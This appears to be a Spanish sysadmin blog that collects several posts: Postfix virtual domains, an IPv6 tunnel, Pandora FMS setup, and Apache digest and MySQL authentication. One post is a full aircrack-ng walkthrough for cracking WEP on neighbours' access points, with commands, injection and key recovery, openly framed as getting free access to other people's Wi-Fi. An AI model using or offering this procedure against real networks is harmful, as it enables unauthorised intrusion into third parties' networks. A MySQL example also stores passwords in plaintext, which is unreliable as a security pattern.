El siguiente documento es una recopilación en un archivo único de la Introducción a IPv6 que di el curso pasado a mis alumnos del módulo de Redes de Área Local (Ciclo Formativo de Sistemas Microinformáticos y Redes). Se trata de una introducción básica al nuevo espacio de direccionamiento del protocolo, unas notas sobre la forma de empezar a trabajar con él en windows y en Linux, una práctica sobre la forma de hacer un túnel desde Linux (que ya había dejado por aquí) y algún apunte sobre el estado de implantación en nuestro país que puedes ampliar aquí o aquí. Ahí queda por si a alguien le viene bien:
El siguiente documento es una recopilación en un archivo único de los apuntes que di a lo largo de todo el curso pasado a mis alumnos del módulo de Redes de Área Local (Ciclo Formativo de Sistemas Microinformáticos y Redes) sobre configuración y administración de routers y switches de CISCO usando el Command Line Interface o CLI. Abarca desde una configuración básica de los mismos hasta configuración de protocolos de rutado dinámico, creación de VLANs y algunas nociones muy básicas de seguridad. Ahí queda por si a alguien le viene bien:
¿Se acuerdan ustedes de la entrada que hicimos por aquí hace algo más de un añito sobre como montar un servidor de correo electrónico en Debian? Bien, pues lo hemos hecho crecer un poco y ahora necesitamos que atienda a los correos de más de un dominio. ¿Que tenemos que añadir a lo allí visto? Poquito más. En el fichero /etc/postfix/main.cf tenemos que incluir las siguientes dos líneas:
1 2 | virtual_alias_maps = hash:/etc/postfix/virtual virtual_alias_domains = dominio1.net, dominio2.es, dominio3.es |
Con la primera línea indicamos el fichero donde crearemos las equivalencias entre buzones y direcciones de correo y que ahora veremos como se hace. Con la segunda enumeramos los dominios que gestionará nuestro servidor y que, lógicamente, deben de tener sus correspondientes registros MX apuntando hacía la dirección de nuestro servidor de correo. Y no olvides hacer un reload de la configuración después de hacer los cambios:
1 | service postfix reload |
En el fichero que hemos indicacado en la línea 1 anterior (/etc/postfix/virtual) hacemos una relación de las diferentes direcciones de correo que queremos que nuestro servidor atienda y si queremos redireccionarlas a otra cuenta (es decir, crear un alias) o guardar lo recibido en el buzón correspondiente de un usuario. Así por ejemplo:
1 2 3 4 5 | webmaster@dominio1.net josemaria webmaster@dominio2.es josemaria webmaster@domino3.es josemaria josemaria@dominio2.es josemaria@gmail.com morales@dominio1.net morales, morales@gmail.com |
A la izquierda aparece siempre la dirección de correo que nuestro servidor postfix atenderá y a su derecha el destino del correo que recoja en la misma. En el ejemplo anterior, con las tres primeras líneas le indicamos que todo lo que se recoja a través de las tres cuentas que allí aparecen debe de guardarse en el buzón de correo del usuario josemaria. Con la cuarta línea estamos creando un alias: todo el correo que se reciba en la cuenta josemaria@dominio2.es se remitirá directamente a la cuenta indicada de gmail sin almacenarse en el servidor. La quinta línea recepciona lo recibido en la cuenta morales@dominio1.net, lo reenvía a la cuenta morales@gmail.com y, además, lo guarda en el buzón del usuario morales.
Después de cada cambio en este fichero debemos de ejecutar lo siguiente:
1 | postmap /etc/postfix/virtual |
El resultado será un fichero llamado virtual.db en ese mismo directorio y que será realmente el que postfix usa para gestionar alias y buzones.
Por cierto, un recurso interesante para probar si nuestro servidor de correo acepta algún tipo de relay que pueda ser aprovechado por los spammers es este. Y si quieres analizar tu servidor de correo échale un vistazo a este otro.
El pasado 3 de febrero la IANA asignó los últimos bloques de direcciones IP de la versión 4 disponibles. Parecía una broma pero, finalmente, las casi 4300 millones de direcciones de IPv4 se han agotado y ahora toca, por fin, ponerse las pilas en serio con IPv6. De hecho y para que no nos durmamos en los laureles, el próximo día 8 de Junio se “celebrará” el World IPv6 Day y durante 24 horas algunos de los grandes de Internet (Yahoo!, Microsoft Bing, Google, Facebook, etc.) sólo estarán disponibles con la nueva versión de este protocolo. ¿Cómo saber si estás preparado para ese momento? Pues puedes probar, por ejemplo, a acceder al portal IPV6 de Google. Si ves la página de inicio de Google normal y corriente, estupendo. Si, por el contrario, el navegador te dice que la página no existe o algo similar es que, en realidad, no puedes acceder a ella. Mala suerte.
¿Qué hacer para solventarlo? Pues por nuestro lado poca cosa. Tu sistema operativo seguramente no necesitará ni que lo toques puesto que desde el año 2001 aproximadamente todos sin excepción (GNU/Linux, Microsoft, MacOSX, etc.) soportan sin problemas IPV6. Si aún trabajas con Windows XP tendrás que activarlo (ejecutando ipv6 install en una ventana de comandos) pero lo normal es que, sea cual sea el sistema que uses, si abres un terminal o ventana de comandos y miras la información de tus interfaces de red (ipconfig en windows e ifconfig en Linux) te encuentres con que ya tienes asignada una de las llamadas direcciones de enlace local que el propio sistema operativo genera y asigna de forma automática:

O sea, que el problema no está en tu PC, sino en tu acceso a Internet y mientras que tu proveedor de acceso no te solucione esto una solución para ir “jugando” con IPv6 puede ser usar un túnel. Existen muchos proveedores que te facilitan esto pero, de entre los gratuitos, el más cómodo y fácil de poner en marcha para mi ha sido el que proporciona Hurricane Electric: tunnelbroker.
El procedimiento es bien sencillo. Nos registramos en el servicio (esto es obligatorio) y una vez que nos hemos identificado pulsamos el enlace de “Create Regular Tunnel” (arriba a la izquierda). El servicio detectará nuestra IP pública (que debería de ser uno de los extremos del túnel si planeamos usarlo desde el ordenador con el que lo estamos creando) y nos sugiere para el otro extremo su centro de datos más cercano:

Los túneles creados se listan en la página principal de tu perfil como pueden verse en la siguiente imagen. Para ver los datos técnicos, modificarlos, borrarlos, etc. sólo tienes que pulsar en el enlace de uno de ellos:

Por último pinchamos en la solapa de “Example Configurations”, elegimos la opción de Linux-net-tools y ejecutamos las instrucciones que allí aparecen en una terminal y con privilegios de root:

Y ya está. No hay nada más que hacer. Lo he probado desde Ubuntu y Fedora y tanto con máquina reales como virtuales (con el interfaz de red en modo bridge) y funciona perfectamente y sólo debería de darte problemas con algunas configuraciones de tu cortafuegos. Tu máquina ahora debería de disponer de conexión tanto a servicios con IPv4 como con IPv6. Puedes probarlo en el enlace anterior de Google IPv6, comprobando aquí la dirección global IPv6 con la que se te ve en Internet o haciendo este test que debería de darte una puntuación de 9/10 en IPv6 (te faltaría aún que tus DNS fuesen compatibles con el nuevo protocolo).
Dos notas finales. Los cambios que hemos hecho son volátiles y desaparecerán cuando apagues tu equipo, así que si quieres hacerlos permanente deberías de hacer un script que se ejecute en el arranque aunque esto tampoco tiene mucho sentido: el túnel es dependiente de tu conexión pública a Internet y tendrás que editarlo cada vez que tu proveedor le asigne a tu router una nueva dirección o, si eres de los que haces trampas en menéame, cada vez que lo reinicies tu mismo para obtener una nueva IP.
Y dos. Sólo tienes cinco túneles por registro (pero puedes modificarlos y borrarlos cuantas veces quieras) y el sistema no admitirá ni crear dos tuneles diferentes con la misma IP pública en tu extremo ni que dos equipos dentro de la misma red local usen el mismo túnel.
Skype sólo ofrece binarios compilados a 64 bits para Ubuntu. Y, por supuesto, no hay fuentes disponibles para que lo compiles por ti mismo… Si quieres usar este programa con otras distribuciones pero en este formato tendrás que usar algún truco.
En Fedora 14, hay que empezar por instalar el programa a partir de los binarios de 32 bits, bien descargándotelos desde su web o bien a partir de un nuevo repositorio que podemos definir con el siguiente contenido:
[skype]
name=Skype Repository
baseurl=http://download.skype.com/linux/repos/fedora/updates/i586/
enabled=1
gpgkey=http://www.skype.com/products/skype/linux/rpm-public-key.asc
gpgcheck=0
Una vez instalado, tendrás que añadir las dependencias que skype precisa pero especificando que la arquitectura que usaremos será la de 32 bits y no la de 64 que nuestra distribución usa como base:
sudo yum install libXScrnSaver.i686 qt-x11.i686
Si el soporte para webcam te da problemas (a mi me ocurre en el sobremesa con mi logitech, pero no en el portatil con su webcam integrada) esta solución sigue siendo válida.
Pandora FMS (Flexible Monitoring System) es una herramienta de monitorización de software libre (desarrollada por Ártica, una empresa española) que hace ya tiempo que tenía ganas de probar, así que aprovechando las vacaciones y el reciente lanzamiento de su versión 3.1 me he puesto manos a la obra. Al estilo de lo que dejamos por aquí hace ya unos años cuando hablamos de Nagios, tocaremos en esta primera entrada la instalación y primeros pasos y en posteriores posts veremos algunas de las principales tareas de configuración y gestión. Agarraos.
Vaya por delante que yo nunca he pensado que instalar y/o configurar Nagios sea algo complicado. Pero es que instalar Pandora FMS y crear un primer mapa de los elementos de tu red (que es lo que veremos hoy aquí) es tan fácil como comerse un bizcocho. No existen extrañas dependencias, no hay nada que compilar, ni arcanos ficheros que editar. La instalación de Pandora FMS es más fácil aún que la de wordpress, drupal o la de cualquier otro CMS vulgarote. Una verdadera gozada. Ya no hay excusa válida para no monitorzar el estado de tu red y de sus elementos de forma centralizada.
Pandora FMS está formado por tres componentes: servidor, consola y agente. A grandes rasgos, los servidores son las máquinas desde las que se lanzan los diferentes tests, la consola la que contiene la instancia de Apache a la que nos conectamos para administrar, configurar y monitorizar el conjunto y los agentes serían las máquinas a monitorizar. Una instalación típica de Pandora FMS tendrá una consola, uno o más servidores y tantos agentes (en máquinas windows o GNU/Linux) como deseemos. Para este ejemplo partiremos de una instalación limpia de Debian Lenny 5.0.5 eligiendo sólo los paquetes standard mínimos. Sobre esta máquina instalaremos el servidor, la consola y un primer agente.
Lo primero que debemos hacer es instalar las dependencias previas. Se trata, en su práctica totalidad, de paquetes estándar y disponibles en los repositorios stable de Debian. En la wiki del proyecto (con muy buena documentación, por cierto) hay un apartado dedicado a esto pero a mi me han faltado algunos. La lista que yo he necesitado es la siguiente:
# apt-get install snmp snmpd sudo xprobe2 nmap traceroute mysql-server mysql-client dbconfig-common apache2 php5 libapache2-mod-php5 php5-gd php5-mysql php-pear php5-snmp php-db php-gettext php-db php5-xmlrpc php5-ldap libtime-format-perl libxml-simple-perl libnetaddr-ip-perl libdbi-perl libhtml-parser-perl libmail-sendmail-perl libio-socket-multicast-perl libhtml-tree-perl graphviz
En segundo lugar, nos descargamos e instalamos las herramientas y dependencias que Debian no ofrece como paquetes estándar de las páginas del proyecto en Sourceforge.
Tercero: nos bajamos, también de Sourceforge, los paquetes de los tres componentes de Pandora FMS (consola, servidor y agente) y los instalamos igualmente. El paquete del agente que está disponible ahora mismo da un error de instalación que se soluciona siguiendo las indicaciones de este foro.
Se acabó la línea de comandos. Puesto que en la máquina en la que estamos haciendo la instalación no hemos instalado siquiera las X, nos vamos a nuestra máquina de escritorio, abrimos un navegador y cargamos la siguiente URL para iniciar la configuración:
http://<ip o nombre de la maquina>/pandora_console/install.php
La configuración se hace a través de seis sencillos pasos que podeis ver en las diapos de aquí abajo. Aceptamos la licencia, verificamos que todas las dependencias se han instalado correctamente, aceptamos los datos relativos a la base de datos y la instancia web y cumplimentamos los datos de un usuario con privilegios para crear la nueva base de datos y, muy importante, anotamos la contraseña aleatoria que nos muestra en la pantalla número 5.
Antes de entrar por primera vez en la consóla debemos de proporcionar al servidor la contraseña que se nos ha facilitado durante la instalación. Para ello editamos el fichero /etc/pandora/pandora_server.conf y localizamos en él el parámetro dbpass:
dbpass ghqshtvw
Finalmente relanzamos el proceso del servidor (que debe de haber abortado tras la instalación debido a la ausencia de esta contraseña):
# /etc/init.d/pandora_server start /etc/pandora/pandora_server.conf
Y esto es todo. Si ha habido algún problema debería de haber quedado reflejado en los archivos de log que se encuentran en el directorio /var/log/pandora. Si todo ha salido bien podemos ir a nuestra máquina de escritorio y entrar en la consola a través de la siguiente URL. El usuario creado inicialmente de forma automática es admin y la contraseña pandora:
http://<ip o nombre de la maquina>/pandora_console/
La pantalla inicial que se nos presenta tiene el aspecto de la imagen de aquí abajo (pulsa sobre ella para ampliarla). En la wiki de documentación del proyecto tienes una buena descripción de cada uno de sus apartados:

Y vamos a terminar por hoy diciendole a Pandora que lance una tarea de reconocimiento para que veamos cuan fácil es crear un mapa de nuestra red. Para ello, y dentro del menú lateral de administración, desplegamos la opción de “Gestionar servidores” y pulsamos sobre “Gestionar tarea recon”. Pulsamos el botón de Crear y cumplimentamos la ficha con los datos de nuestra red:

Ya experimentaremos más adelante con los campos de plantillas, puertos, etc. Por el momento sólo pondremos un nombre a la tarea, cumplimentaremos correctamente el “scope” de nuestra red y pulsaremos el botón de Añadir. La tarea se creará y se lanzará de forma automática. Si queremos ver el avance de la exploración vamos al menú lateral de operaciones, desplegamos la opción de “Servidores” y pulsamos sobre el nombre de nuestro servidor para que nos muestre las tarea que está ejecutando en este momento y el progreso de las mismas:

Al terminar la exploración desplegamos la opción de “Ver agentes” (también en el menú de operación) y elegimos “Mapa de red”. Et voilà:

Pulsando sobre cualquiera de los dispositivos mostrados en el mapa obtendremos una ventana de detalle como la siguiente:

Y por el momento basta. Otro día seguimos con ella.
La gente quiere compartir su Wi-Fi con nosotros de forma desinteresada y, como Fon no sirve de gran cosa (¿Cuánto tiempo hace que no veis una red de Fon?¿Habeis visto alguna vez una?
), suele dejarnos acceso libre a sus puntos de acceso. En caso contrario no se explica que aún hoy en día más de la mitad de los accesos inalámbricos esten configurados usando un sistema de cifrado, el WEP, que nos permite paso libre en apenas cuatro o cinco minutos. Un “amable” detalle para que no gastemos más en la factura de teléfono y poder recoger el correo o conectarnos a facebook para dar envidia durante las vacaciones.
La única parte complicada de todo lo que vamos a contar a continuación es disponer de una tarjeta de red con los drivers oportunos para nuestra tarea. La tarjeta (el hardware) no merece darle muchas vueltas. Si la que tenemos sirve, pues estupendo. Si no, tendremos que comprar una adecuada. Los drivers se pueden compilar para cualquier distribución de Linux, pero no merece la pena hacerlo: yo tengo instalado Backtrack en una pequeña partición de 15 Gbytes de mi portatil para estos menesteres y si a ti no te sobra siquiera ese espacio puedes usar una versión live de esta distribución en una memoria USB. Si estás curtido en este mundo y prefieres compilar los drivers tu mismo para tu distribución habitual, adelante. En este último caso disponer de la suite aircrack-ng no te será complicado. Para todo el proceso necesitaremos al menos tres terminales de forma simultanea pero es indistinto que lo hagamos mediante un entorno gráfico (startx) o usando terminales virruales (Ctrl+Alt+Fn).
Y empezamos con los preliminares. Hemos arrancado ya con nuestra backtrack y vamos a comprobar que nuestra tarjeta es compatible con los drivers de madwifi y, en caso afirmativo, a inicializarla. Para ello usamos el comando iwconfig para ver que tarjeta tiene extensiones inalámbricas e ifconfig para averiguar la MAC (Hwaddr) de la misma:
root@bt:~# iwconfig
lo no wireless extensions.
eth0 no wireless extensions.
wlan0 IEEE 802.11bgn Mode:Managed Access Point: Not-Associated
Tx-Power=20 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
root@bt:~# ifconfig wlan0
wlan0 Link encap:Ethernet HWaddr 1c:4b:d6:a3:52:2a
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
En el volcado anterior vemos que la denominación de nuestra tarjeta es wlan0 y que su dirección MAC es la 1c:4b:d6:a3:52:2a. Bien. Ahora incializaremos en modo monitor nuestra tarjeta:
root@bt:~# airmon-ng stop wlan0
Interface Chipset Driver
wlan0 Atheros ath9k - [phy0]
(monitor mode disabled)
root@bt:~# airmon-ng start wlan0
Interface Chipset Driver
wlan0 Atheros ath9k - [phy0]
(monitor mode enabled on mon0)
Y ahora comprobaremos que es apta para nuestro trabajo. En la última línea del comando anterior la suite de aircrack nos ha devuelto el identificador correspondiente a nuestro adaptador inalámbrico en modo monitor que es el que usaremos a partir de ahora. El siguiente comando nos dirá si dicho dispositivo es capaz de inyectar paquetes en una red wifi y hará una prueba de dicha “habilidad” con tres de los dispositivos que sea capaz de detectar:
root@bt:~# aireplay-ng --test mon0
14:20:50 Trying broadcast probe requests...
14:20:50 Injection is working!
14:20:52 Found 3 APs
14:20:52 Trying directed probe requests...
14:20:52 00:03:C9:8D:0C:04 - channel: 1 - 'La cueva de Moratalaz'
14:20:52 Ping (min/avg/max):
1.644ms/3.040ms/6.560ms Power: -28.13
14:20:52 30/30: 100%
14:20:52 00:1F:5B:89:4B:BE - channel: 2 - 'Apple Network'
14:20:53 Ping (min/avg/max): 2.183ms/22.288ms/87.101ms Power: -75.30
14:20:53 30/30: 100%
14:20:53 00:1F:E1:2A:79:74 - channel: 1 - 'Livebox-DBB0'
14:20:58 Ping (min/avg/max): 2.218ms/3.187ms/4.387ms Power: -90.40
14:20:58 5/30: 16%
Y hasta aquí los preliminares. Si la prueba anterior ha fallado no tenemos nada que hacer y tendríamos que revisar que falla de lo expuesto hasta el momento. Vamos ahora a elegir nuestro “objetivo”. Para ello usaremos el siguiente comando;
root@bt:~# airodump-ng mon0
Como salida tendremos una pantalla con las redes detectadas por nuestro adaptador y diferentes medidas sobre la calidad de la señal que nos llega, actividad en la misma, cifrado, etc. Veamos un pantallazo (click para ampliarlo):

¿En que deberíamos de fijarnos a la hora de elegir objetivo? Por supuesto en el cifrado (WEP en la columna AUTH) y en la proximidad de la señal (identificada con un número en decibelios bajo la columna PWR). Además necesitaremos el BSSID del punto de acceso (su MAC), el canal en el que opera (columna CH) y el identificador de la red (columna ESSID). Pulsando Ctrl+C cuando tenemos datos suficientes la ejecución se aborta y podremos copiar estos datos con tranquilidad. La columna #Data es particularmente importante porque no podremos meternos en una red que no tiene actividad, así que es vano tratar de introducirnos en una con esta columna a cero. En este caso habrá que esperar a que el dueño la use. Explicaremos más adelante el motivo.
El siguiente paso es “capturar” los paquetes de identificación de la red elegida y guardarlos en un fichero. Si hemos elegido la red identificada como DJC de la captura anterior el comando sería el siguiente:
root@bt:~# airodump-ng -c 3 -w djc --bssid 00:13:f7:df:a4:0d mon0
Donde idicamos el canal (3), la raíz de los ficheros donde se guardarán las capturas (djc) y la MAC del objetivo (00:13:f7:df:a4:0d). La salida debería de ser algo así:

La columna más importante aquí es la etiquetada como #Data que nos muestra el número de paquetes IVs capturados. La captura de aquí arriba corresponde a una ejecución de siete minutos (excesiva para lo que necesitamos) pero al principio veremos de forma decepcionante como avanza de forma muy, muy lenta. Máxime considerando que necesitaremos entre 5.000 y 10.000 paquetes para acceder a la contraseña. Ahora veremos como hacerla correr…
Dejamos el anterior comando en ejecución y abrimos un nuevo terminal desde el que asociaremos nuestro adaptador inalámbrico al punto de acceso objetivo con la siguiente orden:
root@bt:~# aireplay-ng -1 0 -a 00:13:f7:df:a4:0d -h 1c:4b:d6:a3:52:2a -e DJC mon0
La primera MAC (00:13:f7:df:a4:0d) es la de nuestro objetivo y la segunda (1c:4b:d6:a3:52:2a) la del adaptador que estamos usando para conectarnos a ella. El identificador de la red objetivo sigue siendo DJC. En este punto podría ocurrir que no consiguieramos realizar la asociación. Esto es debido normalmente a que el punto de acceso está filtrando por MAC o a que estamos demasiado lejos del mismo. Lo primero tiene solución, pero ya lo veremos en otro artículo que este ya está quedando demasiado tocho. Una vez hecha la asociación pasamos a hacer crecer ese número de paquetes IVs que necesitamos para romper la contraseña. ¿Cómo? Pues aprovechando que los paquetes ARP se envían en modo broadcast y contienen un IV (vector de inicialización) que es lo que necesitamos. Pondremos a nuestro adaptador a escuchar y esperar este tipo de paquetes y a reinyectarlos en la red para acelerar el proceso de forma que en apenas un par de minutos tendremos varios miles de estos. El comando a continuación:
root@bt:~# aireplay-ng -3 -b 00:13:f7:df:a4:0d -h 1c:4b:d6:a3:52:2a mon0
La primera MAC sigue siendo la del punto de acceso y la segunda la de nuestro adaptador. El resultado de la ejecución de los dos últimos comandos aquí:

Si todo sale bien veremos como el número de paquetes IV capturados empieza a desbordarse. Si después de 500 ARP request no hemos conseguido este efecto cancela el comando y vuelve a ejecutar los dos últimos (el de asociación de la tarjeta y este). Después de tres o cuatro intentos, a lo sumo, conseguiremos el efecto deseado.
Vamos ahora con el paso final. Abrimos un tercer terminal y ejecutamos lo siguiente:
root@bt:~# aircrack-ng -b 00:13:f7:df:a4:0d djc-01.cap
Esto lanzará el ataque para descifrar la contraseña de la red identificada por la MAC 00:13:f7:df:a4:0d a partir de los paquetes capturados y almacenados en el fichero djc-01.cap (recuerda que la raiz djc la introdujimos nosotros). Si aircrack no tiene suficiente información para romper la clave quedará en espera de algunos centenares más y se relanzará de forma automática. Si no hay problemas enseguida nos responderá con algo así donde la clave que necesitamos es la que aparece al final y etiquetada como ASCII:

No os asusteis por la extensión del texto. He querido que sea fácilmente entendible y reproducible por casi cualquiera y por eso he metido más literatura de la cuenta, pero una vez que hayas practicado un par de veces podrás completar todo el proceso en apenas un par de minutos. Y démosle gracias a Telefónica por seguir instalando sus puntos de acceso usando WEP
Estadísticas de ancho de banda y calidad de la conexión a Internet en el mundo
4 comentarios »Leído 1.060 veces
España se encuentra entre los puestos 24 y 26 de la Unión Europea (y en los puestos 45, 51 y 90 en el mundo, por debajo de Ghana y ligeramente por encima de las Islas Feroe) en calidad y ancho de banda de sus conexiones a Internet. Lo dice la gente de Ookla en Net Index, una completa colección de estadísticas elaboradas a través de la recopilación de los datos recogidos por dos de sus servicios: Speedtest y Pingtest.


El estudio incluye tres parámetros por cada país: el ancho de banda de subida, el de bajada y el llamado Factor-R como medida de la calidad de la conexión. El estudio incluye, además, la evolución de estos tres parámetros desde el año 2007, una comparativa de ciudades dentro de cada país y un ranking parcial por separado para los países de la unión europea, del G8, de la OECD y de la APEC
En el futuro prometen incluir precios e ISP’s con lo que podría convertirse en una buena herramienta para elegir proveedor de conexión a Internet en tu zona.
Olvídate de esto y también de esto otro. Usar el modo bridge con virtualbox para que una máquina virtual sea visible en toda la red del dispositivo anfitrión o para que las distintas máquinas en un mismo anfitrión sean visibles entre si es ahora tan sencillo como elegir “Adaptador puente” en el modo de conexión y el dispositivo de red de la máquina anfitriona a través del cual queremos simular la conexión.

Si tenemos un servidor DHCP visible a través de dicho adaptador las máquinas virtuales obtendrán directamente una dirección del mismo sin más complicaciones. No se exactamente cuando se introdujo este cambio pero a partir de la versión 3.0 funciona así.
Continuamos hoy con otros dos métodos de autenticación en Apache. El primero que vamos a ver recupera los problemas de gestión de usuarios y contraseñas pero soluciona el problema de la transferencia de contraseñas en claro sin necesidad de usar SSL. Consiste en usar la autenticación mediante digest. El procedimiento, como veréis, es muy similar al visto el otro día con la autenticación básica pero cambiando algunas de las directivas y usando la utilidad htdigest en lugar de htpassword para crear el fichero de contraseñas. El módulo de autenticación necesario suele venir con Apache pero no habilitado por defecto. Para activarlo usamos la utilidad a2enmod y, a continuación reiniciamos el servidor Apache:
$ sudo a2enmod auth_digest
$sudo /etc/init.d/apache2 restart
Luego incluimos una sección como esta en el fichero de configuración de nuestro Virtual Host:
<Directory "/var/www/miweb/privado">
Order deny,allow
AuthType Digest
AuthName "dominio"
AuthUserFile "/etc/claves/digest.txt"
<Limit GET POST>
Require valid-user
</Limit>
</Directory>
Como vemos, es muy similar a la configuración necesaria en la autenticación básica. Sólo dos notas: el fichero donde se dejan las contraseñas se indicaba con la directiva AuthDigestFile hasta la versión 2.2 de apache. Ahora, como veis en el ejemplo, es AuthUserFile. Y dos: la directiva AuthName que en la autenticación básica se usaba para mostrar un mensaje en la ventana que pide el usuario y contraseña, ahora se usa también para identificar un nombre de dominio (realm) que debe de coincidir con el que aparezca después en el fichero de contraseñas. Dicho esto, vamos a generar dicho fichero con la utilidad htdigest:
# htdigest -c /etc/claves/digest.txt dominio josemaria
Adding password for josemaria in realm dominio.
New password:
Re-type new password:
Al igual que ocurría con htpassword, la opción -c (create) sólo debemos de usarla al crear el fichero con el primer usuario. Luego añadiremos los restantes usuarios prescindiendo de ella. A continuación vemos el fichero que se genera después de añadir un segundo usuario:
josemaria:dominio:8d6af4e11e38ee8b51bb775895e11e0f
gemma:dominio:dbd98f4294e2a49f62a486ec070b9b8c
El último método que vamos a ver usa una base de datos de mySQL como repositorio de contraseñas. Esto nos permitirá preparar de forma fácil unas páginas para gestionarlas por personal no experto o, incluso, permitir al propio usuario final que haga cambios por si mismo, crear algún método de recuperación automático por email, etc. Esto, combinado con un cifrado SSL, nos proporciona un método cómodo, flexible y suficientemente seguro para la mayoría de los casos. Lo primero que debemos de hacer es instalar el módulo que nos proporciona este modelo de autenticación, activarlo y reiniciar nuestro apache:
$ sudo apt-get install libapache2-mod-auth-mysql
$sudo a2enmod auth_mysql
$sudo /etc/init.d/apache2 restart
A continuación necesitamos crear una base de datos adecuada en el servidor mysql. Los únicos campos imprescindibles son los dos correspondientes al usuario y contraseña, tal y como se muestran en la siguiente imagen. El resto, a nuestro gusto y dependiendo de si planeamos hacer alguna página para gestionarlos y las funcionalidades que queremos que tenga (nombre completo, dirección de email, etc.)
Necesitaremos, además, un usuario de mySQL con acceso a estas tablas para que Apache pueda usarlo. Con concederle privilegios de lectura (SELECT) nos basta:
Añadimos un par de registros a nuestra base de datos para hacer pruebas:
Y, por último, editamos la sección correspondiente en la configuración de nuestro Virtual Host y pedimos a apache que haga un reload de la misma:
<Directory "/var/www/miweb/privado">
AuthType Basic
AuthName "Zona Privada"
AuthBasicAuthoritative Off
AuthUserFile /dev/null
AuthMYSQL on
AuthMySQL_Authoritative on
AuthMySQL_DB httpdauthmysql
Auth_MySQL_Host localhost
Auth_MySQL_User apacheauth
Auth_MySQL_Password 4pache3Sql
AuthMySQL_Password_Table usuarios
AuthMySQL_Username_Field login
AuthMySQL_Password_Field pwd
AuthMySQL_Empty_Passwords off
AuthMySQL_Encryption_Types Plaintext
Require valid-user
</Directory>
El significado de los campos a personalizar para nuestra configuración es fácilmente distinguible:
- AuthMySQL_DB y Auth_MySQL_Host determinan los nombres de la base de datos y el servidor donde esta reside, que usaremos para la autenticación de usuarios.
- Auth_MySQL_User y Auth_MySQL_Password son los datos del usuario que apache usará para leer de la base de datos anterior.
- AuthMySQL_Password_Table, AuthMySQL_Username_Field y AuthMySQL_Password_Field describen, respectivamente, la tabla donde se guardan las credenciales de los usuarios con permiso de acceso y los campos que usaremos para almacenar sus usuarios y contraseñas.
El campo Auth_MySQL_Encryption_Types, por último, nos permite definir la forma en que la contraseña se guarda en nuestra base de datos y admite múltiples formas. Tal y como está en el ejemplo anterior, indicamos que la contraseña se guardará en texto plano. Si queremos hacerlo un poco más serio y no guardar la contraseña así podríamos, por ejemplo, almacenar un hash de la misma. Existen diversos métodos para esto, pero lo más sencillo es variar el valor de este campo por lo siguiente:
AuthMySQL_Encryption_Types Crypt
Esto nos permitirá usar las mismas firmas generadas por la utilidad htpasswd que vimos aquí o, en general, las creadas a partir de la llamada a la función crypt(). Copiamos el hash al campo pwd de la base de datos antes generada, volvemos a hacer un reload a nuestro apache y listo.




















la
la
la
la
la
la


